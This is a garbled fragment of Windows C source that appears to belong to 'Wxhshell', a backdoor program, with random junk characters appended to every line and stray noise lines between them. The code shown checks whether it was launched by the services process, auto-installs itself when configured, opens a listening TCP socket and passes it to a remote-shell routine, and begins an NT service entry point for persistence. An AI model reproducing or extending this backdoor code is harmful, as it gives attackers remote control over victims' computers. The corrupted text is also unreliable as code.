DWORD AffinityMask; y>m=A41:g
DWORD BasePriority; &AlX).
ULONG UniqueProcessId; a@WSIcX*W
ULONG InheritedFromUniqueProcessId; 8h7z
} PROCESS_BASIC_INFORMATION; itIzs99j
:~]ha
PROCNTQSIP NtQueryInformationProcess; ,`< [ej
K1Wiiw
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ijWn,bj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1QH5<)Oa
{wp"zaa
HANDLE hProcess; owc#RW9 7
PROCESS_BASIC_INFORMATION pbi; > jvi7
<P1sK/IZb
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i;B)@op.#
if(NULL == hInst ) return 0; s5ddGiZnBT
Cy##+u,C
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }M9L,O*^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {e8.E<f-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); snyg
"S@%d(lg
if (!NtQueryInformationProcess) return 0; ~nG?>
x+7jJ=F
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gG.b=DvzY
if(!hProcess) return 0; 3 aG?^z
g&V1<n\b+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;M"JN:J8
J Covk1
CloseHandle(hProcess); 5rpTR
cUz7F
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @{!c [{x,T
if(hProcess==NULL) return 0; >*%mJX/F
E5G=Kh[NP
HMODULE hMod; m [FH>
char procName[255]; Cuq=>J
unsigned long cbNeeded; ?F9:rUyN
r9uuVxBD
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !bG%@{W T
7Z/KXc[b
CloseHandle(hProcess); =F5(k(Ds
[,TuNd
if(strstr(procName,"services")) return 1; // 以服务启动 e03q9(
Jtxwt[
return 0; // 注册表启动 t)O$W
} D
f H>UA
#;6YADk2_
// 主模块 g2v0!
int StartWxhshell(LPSTR lpCmdLine) ?_9A`LC*
{ kN*,3)T;}
SOCKET wsl; J!,<NlP0K
BOOL val=TRUE; 195m0'zda
int port=0; N%\!eHxy
struct sockaddr_in door; 2\M^_x$N
aoh"<I%]>4
if(wscfg.ws_autoins) Install(); uMToVk`Uv
J
;=~QYn[
port=atoi(lpCmdLine); T8,?\7)S9
!giL~}j(R
if(port<=0) port=wscfg.ws_port; y pv~F
!>{`o/dZ
WSADATA data; I=)u:l c
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0[JJ
p] V
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ShdE!q7
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kqfO3{-;{:
door.sin_family = AF_INET; [wJM=`!W
door.sin_addr.s_addr = inet_addr("127.0.0.1"); MV<2x7S
door.sin_port = htons(port); 1>1&NQ#}
Ap{p_~~iJ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a'zf8id
closesocket(wsl); 5
#)5Z8`X
return 1; @Q;%hb
} VFj}{Y
)DS|mM)
if(listen(wsl,2) == INVALID_SOCKET) { z
%Ty;
closesocket(wsl); x roo_
return 1; dBKL_'@@}
} '`#sOH
Wxhshell(wsl); Wm{Lg0Nr
WSACleanup(); Fy^=LrH=D
u:Fa1 !4JR
return 0; J3OxM--8"
rz%8Vigb
} WdEVT,jjh
uOzol~TU)
// 以NT服务方式启动 &eL02:[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OT[&a6